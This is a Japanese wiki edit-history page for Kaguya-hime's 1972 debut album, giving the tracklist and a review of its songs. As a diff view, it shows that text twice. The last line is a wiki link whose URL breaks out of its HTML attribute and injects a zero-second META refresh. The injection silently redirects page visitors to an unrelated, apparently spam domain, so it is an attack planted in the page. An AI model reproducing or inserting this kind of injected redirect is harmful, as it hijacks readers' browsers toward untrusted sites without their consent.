「はじめまして」の編集履歴(バックアップ)一覧はこちら
「はじめまして」(2007/12/09 (日) 22:13:27) の最新版変更点
追加された行は緑色になります。
削除された行は赤色になります。
|&ref(http://image01.wiki.livedoor.jp/t/o/tsukitaro/9929a69ea8e1c187.jpg)|A1.青春&br()A2.雪が降る日に&br()A3.あの唄が想い出せない&br()A4.僕は何をやってもだめな男です&br()A5.[[加茂の流れに]]&br()A6.好きだった人|B1.[[ひとりきり]]&br()B2.マキシーのために&br()B3.雨が空から降れば&br()B4.離婚歴三回&br()B5.じんじろ橋&br()B6.あの人の手紙|
かぐや姫のデビューアルバム。1972年3月7日、1日限りのレコーディングだったと言われている。
----
***レビュー
第一期かぐや姫の流れからか、コミカルな作風も見受けられる。
「雪が降る日に」は、シンプルな演奏形態ながら、こうせつ&正やんのコーラスの絡みが絶妙な傑作。1981年、資生堂のCMソングとして採用されている。
南こうせつが単独で書いた「ひとりきり」「[[加茂の流れに]]」はいずれも絶品。彼のソングライターとしての才能は、すでに開花していたことを示す。
第一期かぐや姫の作品のセルフカバーとも言える「マキシーのために」も、吉田拓郎による力強いアレンジによって生まれ変わり、かぐや姫の代表作となった。
伊勢正三&南こうせつの名コンビによる曲作りもすでに定着しており、かぐや姫流反戦歌「あの人の手紙」やほろ苦い失恋ソング「好きだった人」など傑作を残している。
結果として収録曲の約半数が、現在でもかぐや姫の代表曲に数えられている。
プロデューサー後藤由多加氏によるライナーによれば、本アルバムのセッションで「[[悪いあそび]]」という作品も演奏したが、歌詞に問題がありアルバムには収録されなかった。未発表曲として復刻が望まれる音源。
|&ref(http://image01.wiki.livedoor.jp/t/o/tsukitaro/9929a69ea8e1c187.jpg)|A1.青春&br()A2.雪が降る日に&br()A3.あの唄が想い出せない&br()A4.僕は何をやってもだめな男です&br()A5.[[加茂の流れに]]&br()A6.好きだった人|B1.[[ひとりきり]]&br()B2.マキシーのために&br()B3.雨が空から降れば&br()B4.離婚歴三回&br()B5.じんじろ橋&br()B6.あの人の手紙|
かぐや姫のデビューアルバム。1972年3月7日、1日限りのレコーディングだったと言われている。
----
***レビュー
第一期かぐや姫の流れからか、コミカルな作風も見受けられる。
「雪が降る日に」は、シンプルな演奏形態ながら、こうせつ&正やんのコーラスの絡みが絶妙な傑作。1981年、資生堂のCMソングとして採用されている。
南こうせつが単独で書いた「ひとりきり」「[[加茂の流れに]]」はいずれも絶品。彼のソングライターとしての才能は、すでに開花していたことを示す。
第一期かぐや姫の作品のセルフカバーとも言える「マキシーのために」も、吉田拓郎による力強いアレンジによって生まれ変わり、かぐや姫の代表作となった。
伊勢正三&南こうせつの名コンビによる曲作りもすでに定着しており、かぐや姫流反戦歌「あの人の手紙」やほろ苦い失恋ソング「好きだった人」など傑作を残している。
結果として収録曲の約半数が、現在でもかぐや姫の代表曲に数えられている。
プロデューサー後藤由多加氏によるライナーによれば、本アルバムのセッションで「[[悪いあそび]]」という作品も演奏したが、歌詞に問題がありアルバムには収録されなかった。未発表曲として復刻が望まれる音源。
[[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]